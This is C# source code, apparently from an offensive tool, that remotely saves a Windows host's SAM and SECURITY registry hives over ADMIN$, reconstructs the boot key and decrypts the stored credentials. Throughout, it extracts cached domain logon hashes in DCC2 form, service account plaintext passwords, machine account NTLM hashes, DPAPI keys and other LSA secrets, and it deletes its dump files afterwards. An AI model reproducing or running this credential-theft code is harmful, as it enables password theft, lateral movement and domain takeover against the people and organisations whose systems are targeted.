//tossed all this stuff into a single method to save us from having to duplicate code for the impersonation / non-impersonation options private static void DoStuff(string singleTarget) { RemoteOps remoteConnection = new RemoteOps(singleTarget); //this indicates that our initial connection to the remote registry service on the remote target was unsuccessful, so no point in performing any operations if (remoteConnection.remoteRegHandle.Equals(IntPtr.Zero)) { return; } byte[] bootKey = GetBootKey(ref remoteConnection); //create names of dump files Random rand = new Random(); string seedVals = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"; string randStr = new string(Enumerable.Repeat(seedVals, 16).Select(s => s[rand.Next(s.Length)]).ToArray()); string samOut = randStr.Substring(0, 8) + ".log"; string securityOut = randStr.Substring(8, 8) + ".log"; List <string> singleHostResults = new List <string> { string.Format("---------------Results from {0}---------------", singleTarget) }; //SAM dump stuff starts here string samRemoteLocation = @"\\" + singleTarget + @"\ADMIN$\" + samOut; if (remoteConnection.SaveRegKey("SAM", @"\Windows\" + samOut)) { RegistryHive sam = remoteConnection.GetRemoteHiveDump(samRemoteLocation); if (sam != null) { Console.WriteLine("[*] Parsing SAM hive on {0}", singleTarget); singleHostResults.AddRange(ParseSam(bootKey, sam)); } else { singleHostResults.Add("[X] Unable to access to SAM dump file"); } } //Security dump stuff starts here string securityRemoteLocation = @"\\" + singleTarget + @"\ADMIN$\" + securityOut; if (remoteConnection.SaveRegKey("SECURITY", @"\Windows\" + securityOut)) { RegistryHive security = remoteConnection.GetRemoteHiveDump(securityRemoteLocation); if (security != null) { Console.WriteLine("[*] Parsing SECURITY hive on {0}", singleTarget); singleHostResults.AddRange(ParseLsa(security, bootKey, ref remoteConnection)); } else { singleHostResults.Add("[X] Unable to access to SECURITY dump file"); } } remoteConnection.Cleanup(samRemoteLocation, securityRemoteLocation); allResults.Add(singleHostResults); }
private static string PrintSecret(string keyName, LsaSecretBlob secretBlob, ref RemoteOps remoteConnection) { string secretOutput = string.Format("[*] {0}\r\n", keyName); if (keyName.ToUpper().StartsWith("_SC_")) { string startName = remoteConnection.GetServiceStartname(keyName.Substring(4)); string pw = Encoding.Unicode.GetString(secretBlob.secret.ToArray()); secretOutput += string.Format("{0}:{1}", startName, pw); } else if (keyName.ToUpper().StartsWith("$MACHINE.ACC")) { string computerAcctHash = BitConverter.ToString(Crypto.Md4Hash2(secretBlob.secret)).Replace("-", "").ToLower(); string domainName = remoteConnection.GetRegistryKeyValue(@"SYSTEM\CurrentControlSet\Services\Tcpip\Parameters", "Domain"); string computerName = remoteConnection.GetRegistryKeyValue(@"SYSTEM\CurrentControlSet\Services\Tcpip\Parameters", "Hostname"); secretOutput += string.Format("{0}\\{1}$:aad3b435b51404eeaad3b435b51404ee:{2}", domainName, computerName, computerAcctHash); } else if (keyName.ToUpper().StartsWith("DPAPI")) { secretOutput += ("dpapi_machinekey:" + BitConverter.ToString(secretBlob.secret.Skip(4).Take(20).ToArray()).Replace("-", "").ToLower() + "\r\n"); secretOutput += ("dpapi_userkey:" + BitConverter.ToString(secretBlob.secret.Skip(24).Take(20).ToArray()).Replace("-", "").ToLower()); } else if (keyName.ToUpper().StartsWith("NL$KM")) { secretOutput += ("NL$KM:" + BitConverter.ToString(secretBlob.secret).Replace("-", "").ToLower()); } else if (keyName.ToUpper().StartsWith("ASPNET_WP_PASSWORD")) { secretOutput += ("ASPNET:" + System.Text.Encoding.Unicode.GetString(secretBlob.secret)); } else { secretOutput += ("[!] Secret type not supported yet - outputing raw secret as unicode:\r\n"); secretOutput += (System.Text.Encoding.Unicode.GetString(secretBlob.secret)); } return(secretOutput); }
private static byte[] GetBootKey(ref RemoteOps remoteConnection) { //the bootkey is stored within the class attribute value of the 4 following keys. This data is not accessible from regedit.exe, but can be returned from a direct query string[] keys = new string[4] { "JD", "Skew1", "GBG", "Data" }; byte[] transforms = new byte[] { 0x8, 0x5, 0x4, 0x2, 0xb, 0x9, 0xd, 0x3, 0x0, 0x6, 0x1, 0xc, 0xe, 0xa, 0xf, 0x7 }; StringBuilder scrambledKey = new StringBuilder(); for (int i = 0; i < 4; i++) { string keyPath = @"SYSTEM\CurrentControlSet\Control\Lsa\" + keys[i]; IntPtr regKeyHandle = remoteConnection.OpenRegKey(keyPath); scrambledKey.Append(remoteConnection.GetRegKeyClassData(regKeyHandle)); remoteConnection.CloseRegKey(regKeyHandle); } byte[] scrambled = StringToByteArray(scrambledKey.ToString()); byte[] unscrambled = new byte[16]; for (int i = 0; i < 16; i++) { unscrambled[i] = scrambled[transforms[i]]; } return(unscrambled); }
private static List <string> ParseLsa(RegistryHive security, byte[] bootKey, ref RemoteOps remoteConnection) { List <string> retVal = new List <string>(); try { byte[] fVal = GetValueKey(security, @"Policy\PolEKList\Default").Data; LsaSecret record = new LsaSecret(fVal); byte[] dataVal = record.data.Take(32).ToArray(); byte[] tempKey = Crypto.ComputeSha256(bootKey, dataVal); byte[] dataVal2 = record.data.Skip(32).Take(record.data.Length - 32).ToArray(); byte[] decryptedLsaKey = Crypto.DecryptAES_ECB(dataVal2, tempKey).Skip(68).Take(32).ToArray(); //get NLKM Secret byte[] nlkmKey = null; NodeKey nlkm = GetNodeKey(security, @"Policy\Secrets\NL$KM"); if (nlkm != null) { retVal.Add("[*] Cached domain logon information(domain/username:hash)"); nlkmKey = DumpSecret(nlkm, decryptedLsaKey); foreach (ValueKey cachedLogin in GetNodeKey(security, @"Cache").ChildValues) { if (string.Compare(cachedLogin.Name, "NL$Control", StringComparison.OrdinalIgnoreCase) != 0 && !IsZeroes(cachedLogin.Data.Take(16).ToArray())) { NL_Record cachedUser = new NL_Record(cachedLogin.Data); byte[] plaintext = Crypto.DecryptAES_CBC(cachedUser.encryptedData, nlkmKey.Skip(16).Take(16).ToArray(), cachedUser.IV); byte[] hashedPW = plaintext.Take(16).ToArray(); string username = Encoding.Unicode.GetString(plaintext.Skip(72).Take(cachedUser.userLength).ToArray()); string domain = Encoding.Unicode.GetString(plaintext.Skip(72 + Pad(cachedUser.userLength) + Pad(cachedUser.domainNameLength)).Take(Pad(cachedUser.dnsDomainLength)).ToArray()); domain = domain.Replace("\0", ""); retVal.Add(string.Format("{0}/{1}:$DCC2$10240#{2}#{3}", domain, username, username, BitConverter.ToString(hashedPW).Replace("-", "").ToLower())); } } } try { retVal.Add("[*] LSA Secrets"); foreach (NodeKey secret in GetNodeKey(security, @"Policy\Secrets").ChildNodes) { if (string.Compare(secret.Name, "NL$Control", StringComparison.OrdinalIgnoreCase) != 0) { if (string.Compare(secret.Name, "NL$KM", StringComparison.OrdinalIgnoreCase) != 0) { LsaSecretBlob secretBlob = new LsaSecretBlob(DumpSecret(secret, decryptedLsaKey)); if (secretBlob.length > 0) { retVal.Add(PrintSecret(secret.Name, secretBlob, ref remoteConnection)); } } else { LsaSecretBlob secretBlob = new LsaSecretBlob(nlkmKey); if (secretBlob.length > 0) { retVal.Add(PrintSecret(secret.Name, secretBlob, ref remoteConnection)); } } } } } catch { retVal.Add("[X] No secrets to parse"); } } catch (Exception e) { retVal.Add("[X] Error parsing SECURITY dump file: " + e.ToString()); } return(retVal); }